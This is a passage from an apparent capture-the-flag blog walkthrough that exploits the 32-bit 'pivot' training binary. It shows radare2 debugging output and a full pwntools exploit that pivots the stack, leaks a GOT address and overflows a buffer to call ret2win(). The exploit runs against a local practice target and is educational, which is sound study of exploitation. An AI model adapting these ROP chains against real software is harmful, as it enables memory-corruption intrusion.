\ 0x08048600 ff2528a00408 jmp dword [reloc.__libc_start_main_40] ; 0x804a028 ; "@5\\\xf7`\xb3`\xf7\xf0\nm\xf7"
[0xf778fc89]> dcu main
Continue until 0x0804873b using 1 bpsize
hit breakpoint at: 804873b
[0x0804873b]> pd 1@0x0804a024
;-- reloc.foothold_function_36:
; DATA XREF from 0x080485f0 (sym.imp.foothold_function)
0x0804a024 .dword 0xf7788770 ; RELOC 32 foothold_function
All that is left to do now is to calculate the correct offset to ret2win() and receive the flag!
2nd stage
Analysis of libpivot32.so reveals the static relative offset from foothold_function() to ret2win():
janne808@megatron:~/pwnwork/pivot$ r2 -d libpivot32.so
Process with PID 30193 started...
= attach 30193 30193
bin.baddr 0x56644000
Using 0x56644000
asm.bits 32
-- Change your fortune types with 'e cfg.fortunes.type = fun,tips,nsfw' in your ~/.radare2rc
[0x56644640]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 30193 30193
[0x56644640]> afl~ret2win
0x56644967 1 46 sym.ret2win
[0x56644640]> afl~foothold_function
0x56644770 1 43 sym.foothold_function
[0x56644640]> ? 0x56644967-0x56644770
503 0x1f7 0767 503 0000:01f7 503 "\xf7\x01" 0000000111110111 503.0 503.000000f 503.000000
Thus we need to add 0x1f7 to the address of foothold_function() to reach ret2win():
# calculate ret2win address
ret2win_addr = foothold_leak + 0x1f7
log.success("ret2win@libpivot32 is at: 0x%x" % ret2win_addr)
Stack smash to call ret2win()
The second stage stack smash ROP chain will simply be a RET to the ret2win() address:
# 2nd stage ropchain
ropchain3 = p32(ret2win_addr)
ropchain3 += p32(0xdeadbeef)
# 2nd stage evil buffer
buffer = "A"*stack_offset + ropchain3
Adding a recv() for the flag string, the final exploit now looks like this:
import struct
from pwn import *
# stack offset to overwrite eip
stack_offset = 44
# static elf offsets
foothold_plt = 0x080485f0
foothold_got = 0x0804a024
puts_plt = 0x080485d0
main = 0x0804873b
# gadgets
# -------
# 0x080488c2: xchg eax, esp; ret;
# 0x080488c0: pop eax; ret;
popret = 0x080488c0
xchgret = 0x080488c2
# run target
p = process("./pivot32")
# Wait for debugger
#pid = util.proc.pidof(p)[0]
#print "The pid is: "+str(pid)
#util.proc.wait_for_debugger(pid)
# process interaction
p.recvuntil("Call ret2win() from libpivot.so")
# read heap address
heap_addr = p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:").strip().rsplit(' ', 1)[1]
heap_addr = u32(unhex(heap_addr[2:]), endian='big')
# construct ropchains
# stack pivot chain
ropchain = p32(popret)
ropchain += p32(heap_addr)
ropchain += p32(xchgret)
# address leak chain
ropchain2 = p32(foothold_plt)
ropchain2 += p32(puts_plt)
ropchain2 += p32(main)
ropchain2 += p32(foothold_got)
# stack smash buffer
buffer = "A"*stack_offset + ropchain
p.recvuntil("Send your second chain now and it will land there")
p.sendline(ropchain2)
p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)
# read the foothold_function output
p.recvuntil("foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so")
# read foothold_got leak
foothold_leak = p.recv()[:4].strip().ljust(8, '\x00')
foothold_leak = u64(foothold_leak)
log.success("foothold@libpivot32 is at: 0x%x" % foothold_leak)
# calculate ret2win address
ret2win_addr = foothold_leak + 0x1f7
log.success("ret2win@libpivot32 is at: 0x%x" % ret2win_addr)
# 2nd stage ropchain
ropchain3 = p32(ret2win_addr)
ropchain3 += p32(0xdeadbeef)
# 2nd stage evil buffer
buffer = "A"*stack_offset + ropchain3
# send to heap address
p.sendline()
# send 2nd stage buffer overflow
log.info("Sending stack smash and chain to ret2win...")
p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)
# receive flag (cut out prompt)
flag = p.recvall()[3:]
log.success("Got flag: "+flag)
Running it will now succesfully receive the flag and exit():
janne808@megatron:~/pwnwork/pivot$ python pivot32.py
[+] Starting local process './pivot32': pid 30310
[+] foothold@libpivot32 is at: 0xf7752770
[+] ret2win@libpivot32 is at: 0xf7752967
[*] Sending stack smash and chain to ret2win...
[+] Receiving all data: Done (36B)
[*] Process './pivot32' stopped with exit code 0 (pid 30310)
[+] Got flag: ROPE{a_placeholder_32byte_flag!}
Conclusion
The walkthrough described all the steps necessary to succesfully exploit the binary with multiple ROP chains in two stages. It is also possible to achieve the same steps in a single stage exploit. This will be the focus of the next blog post where the 64-bit binary will be cracked.
Happy hacking until then!